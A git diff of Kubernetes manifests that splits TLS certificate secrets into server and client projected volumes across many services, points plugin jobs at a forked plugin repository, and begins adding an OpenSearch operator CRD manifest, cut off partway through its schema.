a/k8s/cloud/base/api_deployment.yaml +++ b/k8s/cloud/base/api_deployment.yaml @@ -158,8 +158,24 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key - name: vizier-image-secret secret: secretName: vizier-image-secret diff --git a/k8s/cloud/base/artifact_tracker_deployment.yaml b/k8s/cloud/base/artifact_tracker_deployment.yaml index d3a0f69e65c..b7e0e5adba4 100644 --- a/k8s/cloud/base/artifact_tracker_deployment.yaml +++ b/k8s/cloud/base/artifact_tracker_deployment.yaml @@ -86,8 +86,24 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key - name: artifact-access-sa secret: secretName: artifact-access-sa diff --git a/k8s/cloud/base/auth_deployment.yaml b/k8s/cloud/base/auth_deployment.yaml index 7b699fa4fd1..575cb558d2e 100644 --- a/k8s/cloud/base/auth_deployment.yaml +++ b/k8s/cloud/base/auth_deployment.yaml @@ -118,5 +118,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/config_manager_deployment.yaml b/k8s/cloud/base/config_manager_deployment.yaml index 79d5589a5f6..d705801b8f1 100644 --- a/k8s/cloud/base/config_manager_deployment.yaml +++ b/k8s/cloud/base/config_manager_deployment.yaml @@ -93,5 +93,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/cron_script_deployment.yaml b/k8s/cloud/base/cron_script_deployment.yaml index 33c7ced30c5..ffc3e321fe2 100644 --- a/k8s/cloud/base/cron_script_deployment.yaml +++ b/k8s/cloud/base/cron_script_deployment.yaml @@ -85,5 +85,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/indexer_deployment.yaml b/k8s/cloud/base/indexer_deployment.yaml index a861a8562a2..6bfcd23501c 100644 --- a/k8s/cloud/base/indexer_deployment.yaml +++ b/k8s/cloud/base/indexer_deployment.yaml @@ -89,8 +89,24 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key - name: es-certs secret: secretName: pl-elastic-es-http-certs-internal diff --git a/k8s/cloud/base/metrics_deployment.yaml b/k8s/cloud/base/metrics_deployment.yaml index 5835e32cd7b..a9d3acb863e 100644 --- a/k8s/cloud/base/metrics_deployment.yaml +++ b/k8s/cloud/base/metrics_deployment.yaml @@ -71,8 +71,24 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key - name: bq-access-sa secret: secretName: bq-access-sa diff --git a/k8s/cloud/base/ory_auth/hydra/hydra_deployment.yaml b/k8s/cloud/base/ory_auth/hydra/hydra_deployment.yaml index 44de8fe15b6..db19ca3cd9a 100644 --- a/k8s/cloud/base/ory_auth/hydra/hydra_deployment.yaml +++ b/k8s/cloud/base/ory_auth/hydra/hydra_deployment.yaml @@ -209,5 +209,21 @@ spec: - key: hydra.yml path: hydra.yml - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/ory_auth/kratos/kratos_deployment.yaml b/k8s/cloud/base/ory_auth/kratos/kratos_deployment.yaml index 6d9e56e9547..6719a0873d5 100644 --- a/k8s/cloud/base/ory_auth/kratos/kratos_deployment.yaml +++ b/k8s/cloud/base/ory_auth/kratos/kratos_deployment.yaml @@ -212,5 +212,21 @@ spec: - key: identity.schema.json path: identity.schema.json - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/plugin_deployment.yaml b/k8s/cloud/base/plugin_deployment.yaml index ebb499ac88f..0eb1c7282c2 100644 --- a/k8s/cloud/base/plugin_deployment.yaml +++ b/k8s/cloud/base/plugin_deployment.yaml @@ -90,5 +90,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/profile_deployment.yaml b/k8s/cloud/base/profile_deployment.yaml index 5b7dac65240..fc0139272dd 100644 --- a/k8s/cloud/base/profile_deployment.yaml +++ b/k8s/cloud/base/profile_deployment.yaml @@ -90,5 +90,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/project_manager_deployment.yaml b/k8s/cloud/base/project_manager_deployment.yaml index b61e3d7ff05..20245de021f 100644 --- a/k8s/cloud/base/project_manager_deployment.yaml +++ b/k8s/cloud/base/project_manager_deployment.yaml @@ -75,5 +75,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/proxy_deployment.yaml b/k8s/cloud/base/proxy_deployment.yaml index 372714a8d3c..b3963713602 100644 --- a/k8s/cloud/base/proxy_deployment.yaml +++ b/k8s/cloud/base/proxy_deployment.yaml @@ -140,8 +140,15 @@ spec: type: RuntimeDefault volumes: - name: service-certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key - name: envoy-yaml configMap: name: proxy-envoy-config diff --git a/k8s/cloud/base/scriptmgr_deployment.yaml b/k8s/cloud/base/scriptmgr_deployment.yaml index 7aa56f0952d..da6b3b4029c 100644 --- a/k8s/cloud/base/scriptmgr_deployment.yaml +++ b/k8s/cloud/base/scriptmgr_deployment.yaml @@ -63,5 +63,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/base/vzconn_deployment.yaml b/k8s/cloud/base/vzconn_deployment.yaml index e6cd57eb391..0e04809ac88 100644 --- a/k8s/cloud/base/vzconn_deployment.yaml +++ b/k8s/cloud/base/vzconn_deployment.yaml @@ -94,8 +94,24 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key - name: proxycerts secret: secretName: cloud-proxy-tls-certs diff --git a/k8s/cloud/base/vzmgr_deployment.yaml b/k8s/cloud/base/vzmgr_deployment.yaml index 138c08d2b7f..58afbf2cadf 100644 --- a/k8s/cloud/base/vzmgr_deployment.yaml +++ b/k8s/cloud/base/vzmgr_deployment.yaml @@ -100,5 +100,21 @@ spec: type: RuntimeDefault volumes: - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key diff --git a/k8s/cloud/dev/plugin_db_updater_job.yaml b/k8s/cloud/dev/plugin_db_updater_job.yaml index d92d7d544f5..3c5210f4968 100644 --- a/k8s/cloud/dev/plugin_db_updater_job.yaml +++ b/k8s/cloud/dev/plugin_db_updater_job.yaml @@ -62,7 +62,7 @@ spec: name: pl-service-config key: PL_PLUGIN_SERVICE - name: PL_PLUGIN_REPO - value: "pixie-io/pixie-plugin" + value: "k8sstormcenter/pixie-plugin" - name: PL_GH_API_KEY valueFrom: secretKeyRef: @@ -75,8 +75,24 @@ spec: secret: secretName: pl-db-secrets - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key backoffLimit: 1 parallelism: 1 completions: 1 diff --git a/k8s/cloud/overlays/plugin_job/plugin_job.yaml b/k8s/cloud/overlays/plugin_job/plugin_job.yaml index 228efbda87d..c72debd4cfc 100644 --- a/k8s/cloud/overlays/plugin_job/plugin_job.yaml +++ b/k8s/cloud/overlays/plugin_job/plugin_job.yaml @@ -55,7 +55,7 @@ spec: name: pl-service-config key: PL_PLUGIN_SERVICE - name: PL_PLUGIN_REPO - value: "pixie-io/pixie-plugin" + value: "k8sstormcenter/pixie-plugin" # The alpine based image contains a shell and is needed for this command to work. # yamllint disable-line rule:line-length - image: gcr.io/cloud-sql-connectors/cloud-sql-proxy:2.11.3-alpine@sha256:4885fd3e6362ba22abff1804a7f5e75cec5fafbeb4e41be8b0059ecad94a16f1 @@ -91,8 +91,24 @@ spec: secret: secretName: pl-db-secrets - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key - name: tmp-pod emptyDir: {} backoffLimit: 1 diff --git a/k8s/cloud/public/base/plugin_db_updater_job.yaml b/k8s/cloud/public/base/plugin_db_updater_job.yaml index 1f578bd5c3d..454bd40b36e 100644 --- a/k8s/cloud/public/base/plugin_db_updater_job.yaml +++ b/k8s/cloud/public/base/plugin_db_updater_job.yaml @@ -69,8 +69,24 @@ spec: secret: secretName: pl-db-secrets - name: certs - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt + - secret: + name: service-tls-client-certs + items: + - key: tls.crt + path: client.crt + - key: tls.key + path: client.key backoffLimit: 1 parallelism: 1 completions: 1 diff --git a/k8s/cloud_deps/base/nats/statefulset.yaml b/k8s/cloud_deps/base/nats/statefulset.yaml index 96d55e3824d..724c8beeab7 100644 --- a/k8s/cloud_deps/base/nats/statefulset.yaml +++ b/k8s/cloud_deps/base/nats/statefulset.yaml @@ -137,8 +137,17 @@ spec: # Common volumes for the containers volumes: - name: nats-server-tls-volume - secret: - secretName: service-tls-certs + projected: + sources: + - secret: + name: service-tls-server-certs + items: + - key: tls.crt + path: server.crt + - key: tls.key + path: server.key + - key: ca.crt + path: ca.crt - name: config-volume configMap: name: nats-config diff --git a/k8s/cloud_deps/base/opensearch/operator/opensearch_operator.yaml b/k8s/cloud_deps/base/opensearch/operator/opensearch_operator.yaml new file mode 100644 index 00000000000..fa57525b2c6 --- /dev/null +++ b/k8s/cloud_deps/base/opensearch/operator/opensearch_operator.yaml @@ -0,0 +1,8850 @@ +apiVersion: v1 +kind: Namespace +metadata: + labels: + control-plane: controller-manager + name: opensearch-operator-system +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchactiongroups.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpensearchActionGroup + listKind: OpensearchActionGroupList + plural: opensearchactiongroups + shortNames: + - opensearchactiongroup + singular: opensearchactiongroup + scope: Namespaced + versions: + - name: v1 + schema: + openAPIV3Schema: + description: OpensearchActionGroup is the Schema for the opensearchactiongroups + API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + description: OpensearchActionGroupSpec defines the desired state of OpensearchActionGroup + properties: + allowedActions: + items: + type: string + type: array + description: + type: string + opensearchCluster: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: + type: string + required: + - allowedActions + - opensearchCluster + type: object + status: + description: OpensearchActionGroupStatus defines the observed state of + OpensearchActionGroup + properties: + existingActionGroup: + type: boolean + managedCluster: + description: |- + UID is a type that holds unique ID values, including UUIDs. Because we + don't ONLY use UUIDs, this is an alias to string. Being a type captures + intent and helps make sure that UIDs and names do not get conflated. + type: string + reason: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +--- +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.16.0 + name: opensearchclusters.opensearch.opster.io +spec: + group: opensearch.opster.io + names: + kind: OpenSearchCluster + listKind: OpenSearchClusterList + plural: opensearchclusters + shortNames: + - os + - opensearch + singular: opensearchcluster + scope: Namespaced + versions: + - additionalPrinterColumns: + - jsonPath: .status.health + name: health + type: string + - description: Available nodes + jsonPath: .status.availableNodes + name: nodes + type: integer + - description: Opensearch version + jsonPath: .status.version + name: version + type: string + - jsonPath: .status.phase + name: phase + type: string + - jsonPath: .metadata.creationTimestamp + name: age + type: date + name: v1 + schema: + openAPIV3Schema: + description: Es is the Schema for the es API + properties: + apiVersion: + description: |- + APIVersion defines the versioned schema of this representation of an object. + Servers should convert recognized schemas to the latest internal value, and + may reject unrecognized values. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources + type: string + kind: + description: |- + Kind is a string value representing the REST resource this object represents. + Servers may infer this from the endpoint the client submits requests to. + Cannot be updated. + In CamelCase. + More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds + type: string + metadata: + type: object + spec: + description: ClusterSpec defines the desired state of OpenSearchCluster + properties: + bootstrap: + properties: + additionalConfig: + additionalProperties: + type: string + description: Extra items to add to the opensearch.yml, defaults + to General.AdditionalConfig + type: object + affinity: + description: Affinity is a group of affinity scheduling rules. + properties: + nodeAffinity: + description: Describes node affinity scheduling rules for + the pod. + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node matches the corresponding matchExpressions; the + node(s) with the highest sum are the most preferred. + items: + description: |- + An empty preferred scheduling term matches all objects with implicit weight 0 + (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op). + properties: + preference: + description: A node selector term, associated with + the corresponding weight. + properties: + matchExpressions: + description: A list of node selector requirements + by node's labels. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchFields: + description: A list of node selector requirements + by node's fields. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + type: object + x-kubernetes-map-type: atomic + weight: + description: Weight associated with matching the + corresponding nodeSelectorTerm, in the range 1-100. + format: int32 + type: integer + required: + - preference + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to an update), the system + may or may not try to eventually evict the pod from its node. + properties: + nodeSelectorTerms: + description: Required. A list of node selector terms. + The terms are ORed. + items: + description: |- + A null or empty node selector term matches no objects. The requirements of + them are ANDed. + The TopologySelectorTerm type implements a subset of the NodeSelectorTerm. + properties: + matchExpressions: + description: A list of node selector requirements + by node's labels. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchFields: + description: A list of node selector requirements + by node's fields. + items: + description: |- + A node selector requirement is a selector that contains values, a key, and an operator + that relates the key and values. + properties: + key: + description: The label key that the selector + applies to. + type: string + operator: + description: |- + Represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt. + type: string + values: + description: |- + An array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. If the operator is Gt or Lt, the values + array must have a single element, which will be interpreted as an integer. + This array is replaced during a strategic merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + type: object + x-kubernetes-map-type: atomic + type: array + x-kubernetes-list-type: atomic + required: + - nodeSelectorTerms + type: object + x-kubernetes-map-type: atomic + type: object + podAffinity: + description: Describes pod affinity scheduling rules (e.g. + co-locate this pod in the same node, zone, etc. as some + other pod(s)). + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the + node(s) with the highest sum are the most preferred. + items: + description: The weights of all of the matched WeightedPodAffinityTerm + fields are added per-node to find the most preferred + node(s) + properties: + podAffinityTerm: + description: Required. A pod affinity term, associated + with the corresponding weight. + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + weight: + description: |- + weight associated with matching the corresponding podAffinityTerm, + in the range 1-100. + format: int32 + type: integer + required: + - podAffinityTerm + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to a pod label update), the + system may or may not try to eventually evict the pod from its node. + When there are multiple elements, the lists of nodes corresponding to each + podAffinityTerm are intersected, i.e. all terms must be satisfied. + items: + description: |- + Defines a set of pods (namely those matching the labelSelector + relative to the given namespace(s)) that this pod should be + co-located (affinity) or not co-located (anti-affinity) with, + where co-located is defined as running on a node whose value of + the label with key matches that of any node on which + a pod of the set of pods is running + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + 